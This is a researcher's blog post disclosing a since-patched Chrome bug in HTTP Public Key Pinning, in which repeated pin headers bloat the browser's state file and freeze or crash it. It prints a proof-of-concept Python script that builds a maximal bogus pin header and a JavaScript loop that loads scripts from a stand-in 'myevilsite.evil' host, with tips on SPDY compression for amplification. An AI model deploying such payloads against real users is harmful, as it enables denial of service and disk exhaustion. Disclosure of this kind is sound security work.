carl mehner's blog

Bug in Chrome security feature can fill up your hard drive & crash the browser

The security feature in question is one that I have talked about before: HTTP Public Key Pinning (HPKP). This feature allows a website to tell the browser only to connect to the site if it is using a particular set of SSL certificates. For example, a site can specify that the browser only use a particular CA (certificate authority) or set of CAs when communicating with its servers.

This idea of key pinning over http headers is Google's response to the hack of an intermediary CA that issued unauthorized certificates for various domains including many of Google's. Google uses public key pinning on many of its sites, which is how it discovered the DigiNotar hack in the winter of 2011 that issued several Google certificates, the TurkTrust issue on Christmas Eve 2012, and possibly the French CA ANSSI in December of 2013. However, it hard codes the pins in the Chrome browser binary, so it does not actually serve up key pins using the HTTP headers. SHODAN at the time I found the bug showed only one site that was actively using HPKP and it looks like it just served up an error page. Now there are approximately seventeen different sites serving up public key pinning headers, although some of them are not serving up the headers correctly (those are missing the required backup pin).

Your browser does not support SVG.. get a better one.

On to the bug...

Without this patch an evil website has the ability to fill up your hard drive, or at least up to about 16 exabytes (2^64-1 [map::max_size()] * 300 bytes [or the size of one sha256 public key pinning record]). Granted, this may take a long time as you have to download all of the data directly from a server, but the cloud is "fast and cheap" [citation needed].

The flaw that I found was that Chrome replicates all of the public key pins that are set over http headers (that contain at least one pin valid for the connection) storing them in the state file. The public bug report (marked as a duplicate of my bug report) discusses that memory usage also grows and links to a simple sample page (now gone) showing best-case pin headers growth over a fast-paced example of 'normal' user behavior on a busy site; especially one heavy on client-side calls, like Facebook or Twitter. Visiting a site with these headers on it would result in a high memory usage and would end up creating a file with a size corresponding to users' usage of the website.

In addition, as stalkr points out in a comment that this can significantly slow down/freeze Chrome. Even one non-malicious website can start to cause Chrome to freeze after a month of mild use.

My idea, HPKPwn (a proof of concept exploit for this bug), takes it a bit further and goes for the worst-case approach. You start by standing up a server, setting up a valid HTTPS site, and adding an HPKP header at the maximum allowed size. From what I could see, the maximum parse-able header in Chrome is 256 kilobytes. Therefore, I concluded to concoct a piece of Python that produces the most populous possible parse-able pin-set using a plethora of prefabricated pseudo-hashes.



import string
goodPin = "pin-sha256=\"nAl0ztNX3ojp7pO4SJAeA3EOJz026W/BIE1sBk8eChY=\""
pins = "Public-Key-Pins: max-age=31536000; " + goodPin;
x=0
# keep the length of the pins header just under 254 KB
while len(pins) < 254900 :
    # create bogus pins
    pins += "; pin-sha256=\"" + str(x).rjust(43, '0') + "=\"";
    x += 1
print pins

  

Loading this header into a webserver and pointing Chrome at it causes the browser to store every hash in the provided header. This is desired behavior on the first communication; however, on any subsequent connection Chrome appends the same header to the end of the pin set for the site and writes the new state to disk. Any new visits to the site must first parse this list of pins to determine if the connection is valid under the rules of certificate pinning. Naturally, I decided that one call for 256KB was not quite enough and that a good way to force the browser to make repeated calls to the server was to use a for-loop that creates calls for JavaScript files from my pin-set-corpulent server.


<script type="text/javascript">
function genJsCalls()
{
  // increase Chrome's TransportSecurity file by 1GB
  for(var i = 0; i < 40;i++)
  {
    link = "https://myevilsite.evil/" + i + ".js";
    document.write("<script src=\"" + link + "\"><\/script>\r\n");
  }
}
</script>

<body onload="genJsCalls()">
</body>
  

After testing this, I found that it does take a long time to download any substantial amount of data that would possibly cause a space issue on one hard drive. Then, whilst reminiscing about the CRIME vulnerability, I remembered that it took advantage of compressed headers. Compressed headers! For that, we need SPDY, a next-gen server protocol developed by Google. Lucky, the way I constructed the fake headers made them already efficient to compress. The 256KB header in SPDY only takes up about 10 KB on the wire, which means that in only 4096 server responses transferring 40 MB, you can gobble one gigabyte of client disk space.

However, rather than just trying to fill up a hard drive, one can simply create a denial of service, you only need a trivial 40-80 responses (equating to 20 MB of data over regular TLS or ≈0.75 MB over SPDY) to cause significant hangs and/or freezes within Chrome which will take less than one minute. After a sufficient length of time (based on the amount of memory you have), Windows will throw an unhandled exception error. If using long pin lengths (e.g. 1 year, as above) the only remedy is to find and delete the transport security configuration file. This is due to the fact, as security savant Adam Langley has confirmed the patch does not re-parse the transport security file to remove existing duplicates.

Google has fixed this issue in Chrome 33 which was released on the main Stable Channel and Android on 2014-02-20, the fix reached the iOS stable codebase first, on 2014-02-18.

Now that Google has fixed this issue, find at least two certificates (one to pin and one as a backup), head over to https://certpins.appspot.com, and create your HPKP-pins to add to your site headers!

That website, is an open source webapp that I created to assist in the creation of public key pins from existing SSL certificates.